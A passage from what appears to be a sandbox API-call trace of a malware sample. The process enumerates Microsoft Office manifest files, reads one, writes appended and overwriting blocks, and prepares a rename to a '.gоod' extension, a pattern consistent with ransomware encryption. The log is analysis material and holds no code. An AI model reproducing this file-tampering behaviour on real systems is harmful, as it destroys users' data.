ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", cAlternateFileName="APEF10~1.XML")) returned 1 [0106.499] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", cAlternateFileName="AP5F49~1.XML")) returned 1 [0106.499] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", cAlternateFileName="APB0FE~1.XML")) returned 1 [0106.500] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x34b4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP8AF5~1.XML")) returned 1 [0106.500] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", cAlternateFileName="APF26A~1.XML")) returned 1 [0106.500] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf33deae, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", cAlternateFileName="APC553~1.XML")) returned 1 [0106.500] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf2f172d, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x53d21, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP9FA1~1.XML")) returned 1 [0106.500] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a41, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP330B~1.XML")) returned 1 [0106.501] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x573e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~1.XML")) returned 1 [0106.501] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP6206~1.XML")) returned 1 [0106.501] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfdea, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", cAlternateFileName="APD1EA~1.XML")) returned 1 [0106.501] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP6EFE~1.XML")) returned 1 [0106.501] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf98c485a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", cAlternateFileName="APB63F~1.XML")) returned 1 [0106.502] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", cAlternateFileName="APB913~1.XML")) returned 1 [0106.502] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP4637~1.XML")) returned 1 [0106.502] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x618a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP2FE2~1.XML")) returned 1 [0106.502] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP2C4B~1.XML")) returned 1 [0106.502] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", cAlternateFileName="APF00A~1.XML")) returned 1 [0106.502] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~2.XML")) returned 1 [0106.503] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP202C~1.XML")) returned 1 [0106.503] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", cAlternateFileName="APBC30~1.XML")) returned 1 [0106.503] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", cAlternateFileName="APCB35~1.XML")) returned 1 [0106.503] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP5E1E~1.XML")) returned 1 [0106.503] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x80e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~3.XML")) returned 1 [0106.503] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", cAlternateFileName="APE0B7~1.XML")) returned 1 [0106.504] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP8BF9~1.XML")) returned 1 [0106.504] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x212876, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.common.xml", cAlternateFileName="AP3FD6~1.XML")) returned 1 [0106.506] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2667, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifestLoc.en-us.xml", cAlternateFileName="AP942B~1.XML")) returned 1 [0106.506] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthoredExtensions.xml", cAlternateFileName="AUTHOR~1.XML")) returned 1 [0106.507] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthoredExtensions.xml", cAlternateFileName="AUTHOR~1.XML")) returned 0 [0106.507] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0106.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed540) returned 1 [0106.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed500) returned 1 [0106.508] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0106.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0106.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x372e6d8 | out: lpFileInformation=0x372e6d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e91c)) returned 1 [0106.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0106.509] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0106.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0106.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0106.509] GetFileType (hFile=0x7b4) returned 0x1 [0106.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0106.510] GetFileType (hFile=0x7b4) returned 0x1 [0106.510] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0106.510] ReadFile (in: hFile=0x7b4, lpBuffer=0x372ec20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x372ec20*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0106.511] CloseHandle (hObject=0x7b4) returned 1 [0106.511] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0106.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0106.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0106.512] GetFileType (hFile=0x7b4) returned 0x1 [0106.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0106.512] GetFileType (hFile=0x7b4) returned 0x1 [0106.512] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x5e91c [0106.512] WriteFile (in: hFile=0x7b4, lpBuffer=0x372ff50*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x372ff50*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0106.514] CloseHandle (hObject=0x7b4) returned 1 [0106.514] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0106.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0106.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0106.514] GetFileType (hFile=0x7b4) returned 0x1 [0106.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0106.514] GetFileType (hFile=0x7b4) returned 0x1 [0106.514] ReadFile (in: hFile=0x7b4, lpBuffer=0x37322a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x37322a8*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0106.671] CloseHandle (hObject=0x7b4) returned 1 [0106.671] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0106.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0106.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0106.671] GetFileType (hFile=0x7b4) returned 0x1 [0106.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0106.671] GetFileType (hFile=0x7b4) returned 0x1 [0106.671] WriteFile (in: hFile=0x7b4, lpBuffer=0x33c7670*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x33c7670*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0106.671] CloseHandle (hObject=0x7b4) returned 1 [0106.672] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0106.672] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0106.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0106.672] GetFileAttributesExW (in: lpFileName="C:\\Program 